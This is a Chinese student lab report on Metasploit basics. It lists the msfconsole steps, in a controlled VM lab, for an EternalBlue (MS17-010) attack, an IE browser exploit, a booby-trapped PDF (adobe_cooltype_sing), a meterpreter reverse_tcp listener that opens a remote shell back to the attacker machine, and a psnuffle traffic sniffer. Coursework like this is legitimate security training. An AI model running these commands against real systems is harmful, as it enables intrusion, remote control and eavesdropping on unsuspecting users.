首页 > 其他分享 >网络对抗实验六 MSF应用基础

网络对抗实验六 MSF应用基础

时间:2023-05-04 20:47:07浏览次数:33  
标签:set 攻击 192.168 windows exploit 实验 MSF payload 对抗

目录

实践内容

一、主动攻击实践

关闭靶机防火墙

打开445端口

查看版本

msfconsole
search scanner/smb/smb_
use 7
show options
set rhosts 192.168.217.138
run

查找对应利用漏洞模块
search exploit/windows/smb/

第19条攻击方式:ms17-010
查看靶机该漏洞:nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.
选择对应MSF板块,设置靶机ip地址,执行攻击:

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.217.138
run

二、针对浏览器的攻击

use exploit/windows/browser/ms11_003_ie_css_import     //设置 playload
set payload windows/meterpreter/reverse_tcp            //这是 kali 的地址
set srvhost 192.168.217.135                            //也是 kali 的地址
set lhost 192.168.217.135                              //下面的数字可以修改为学号
set uripath 1206

通过这一过程我们看到生成了一个链接,在靶机中使用 ie 访问,便可在 kali 中可以看到反馈


此时输入

Sessions
sessions -i 2

三、针对客户端的攻击

漏洞:adobe_cooltype_sing

use exploit/windows/fileformat/adobe_cooltype_sing       //进入攻击模块
set payload windows/meterpreter/reverse_tcp             //选择攻击载荷
set LPORT 1206
set FILENAME 20201206.pdf
set target 0
run

把这个文件传到 win7 中
然后,我们进行监听,在 msfconsole 里输入 back,可以返回上一级
然后输入:

use exploit/multi/handler                         //进入监听模块
set payload windows/meterpreter/reverse_tcp       //选择攻击载荷
set LHOST 192.168.217.135                         //设置攻击机 IP 地址
set LPORT 1206                                    //设置端口号
run                                               //攻击

这时我们在 win7 中打开那个 pdf 文件,就可以在Kali端看到攻击成功了

四、应用一个辅助模块

使用命令show auxiliary查看所有的辅助模块

调用模块use auxiliary/sniffer/psnuffle
设置好 IP 后直接运行监听,我在被监听机打开了IE浏览器,Kali 中立刻就出现了相应记录,监听成功

问题回答

一、基础问题回答

1.用自己的话解释什么是exploit,payload,encode.
  • exploit:是渗透攻击,就是攻击方利用系统或软件漏洞得到开发者没有预期到的结果,渗透攻击分为主动渗透攻击与被动渗透攻击。
  • payload:攻击者在目标系统上执行的一段攻击代码。
  • encode:为了减少或者避免使攻击载荷不能完整运行的“坏字符”和改变特征码,帮助攻击载荷避免被杀软发现。

二、实践总结与体会

通过本次实验我对漏洞的发现和攻击有了更深的理解,对不同的虚拟机安装有了更深的理解,在实验中首先下载了Windows xp系统,主要是因为电脑内存不太够了,xp系统占存储空间比Win7小两个多G,但后来发现xp系统操作太不熟悉,于是重新装了一个Win7的虚拟机。在实验过程中我觉得看好该漏洞能攻击的对象是比较重要的一步,搞清楚哪个ip是实验中所需要的ip地址。

标签:set,攻击,192.168,windows,exploit,实验,MSF,payload,对抗
From: https://www.cnblogs.com/han-jin/p/17372403.html

相关文章

  • Exp6 MSF应用基础 20201331黄文刚
    Exp6MSF应用基础一、实验原理(1)MSF简介Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。(2)程序特点这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使M......
  • Exp6 MSF应用基础-20201324
    目录1实践内容1.0安装靶机1.1一个主动攻击实践,尽量使用最新的类似漏洞;主动攻击实践MS08-0671.2一个针对浏览器的攻击,尽量使用最新的类似漏洞;1.2.1针对浏览器的攻击ms06_013_createtextrange1.2.2针对浏览器的攻击MS14-0641.3一个针对客户端的攻击,如Adobe或office,尽量使用最......
  • 快速学习HCIE培训实战-SDWAN综合实验-WOLFLAB
    快速学习HCIE培训实战-SDWAN综合实验-WOLFLAB技术编辑:WOLFLAB崔志鹏SDWAN实验需求:参考视频:https://edu.51cto.com/course/33648.html①iMasterNCE-Campus部署在Internet,南向地址为192.168.9.148,端口号为10020;业务面地址为192.168.9.147,端口号为18008;②站点分别为Site_Y与Site_Stor......
  • 工程数学--实验五:MATLAB 最优化工具箱的使用
    (1)线性规划应用案例的求解 %构造线性规划模型f=[-1500;-1200;-1800];A=[450,600,900;35,25,30;400,400,300];b=[63000;3300;33000];lb=[0;0;0];%调用linprog函数求解[x,fval]=linprog(f,A,b,[],[],lb);其中,变量f是目标函数......
  • 工程数学实验1
    代码:a=0;b=1;f=@(x)x*x-sin(x);eps=0.08;%区间精度可以修改while((b-a)>=eps)   x1=a+0.382*(b-a);   x2=a+0.618*(b-a);   disp(['x1=',num2str(x1)]);   disp(['x2=',num2str(x2)]);   iff(x1)<f(x2)      ......
  • 工程数学--上机实验四:共轭梯度法程序设计
    首先,根据目标函数,我们计算其梯度和海森矩阵:symsx1x2;f=100*(x2-x1^2)^2+(1-x1)^2;grad_f=gradient(f,[x1,x2]);grad_f_fun=matlabFunction(grad_f);hes_f=hessian(f,[x1,x2]);hes_f_fun=matlabFunction(hes_f);其中,grad_f_fun和hes_f_fun是把符号......
  • 工程数学--上机实验二:最速下降法程序设计
    这是一个无约束优化问题,可以使用最速下降法(也称负梯度法)求解。按照要求,我来给出MATLAB代码:、%定义目标函数f=@(x)100*(x(2)-x(1)^2)^2+(1-x(1))^2;%最速下降法求解%设定初始点和迭代终止准则x0_list=[-2,2;-3,3;0.5,-1.5];%多个不同的初始点max_iter=1......
  • 论文分享:使用生成对抗性网络的照片真实单图像超分辨率
    尽管使用更快和更深的卷积神经网络在单幅图像超分辨率的精度和速度上取得了突破,但一个中心问题仍然很大程度上没有解决:当我们以大的放大因子进行超分辨时,我们如何恢复更精细的纹理细节?基于优化的超分辨方法的行为主要由目标函数的选择驱动。最近的工作主要集中在最小化均方重建误......
  • pta实验报告
    实验一:复数类及函数模板(switch语句)#include<bits/stdc++.h>usingnamespacestd;classComplex{private: inta,b; public: Complex(int_a,int_b):a(_a),b(_b){}; doubleoperator-(Complexn) { returnsqrt((a-n.a)*(a-n.a)+(b-n.b)*(b-n.b)); } ~Complex(){};......
  • kubevirt实验部署:k8s1.23.17+kube-ovn+nfs+kubevirt+ceph 集成使用
    标签(空格分隔):kubernetes系列一:kubevirt的简介KubeVirt是一个Kubernetes插件,它为Kubernetes提供了在与容器相同的基础结构上提供、管理和控制虚拟机的能力。KubeVirt是由云原生计算基金会(CNCF)赞助的开源项目,目前正处于孵化阶段。KubeVirt使Kubernetes能够使用与容器化工作负......